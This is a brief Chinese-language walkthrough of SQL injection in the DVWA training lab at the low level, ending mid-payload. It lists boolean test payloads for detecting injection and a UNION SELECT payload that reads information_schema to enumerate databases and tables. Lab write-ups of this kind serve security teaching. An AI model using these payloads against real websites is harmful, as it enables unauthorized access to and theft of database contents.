dvwa靶场之SQL注入(low等级)
1. 第一步(判断是否可以注入)
1’ and 1=1#(正常回显)
1’ and 1=2#(无回显)
1’ or 1=1#(该表下所有数据项回显)
以上几步骤基本判断有sql注入漏洞
2. 第二步(找到目标数据库)
’ union select table_schema,table_name from information_schema.tables #’ union select table_schema,table_name from information_schema.tables #
用此条payload可以得到次mysql数据库管理系统下所有数据库的名字以及表名(但是数据太多混乱)
’ union select table_schema,co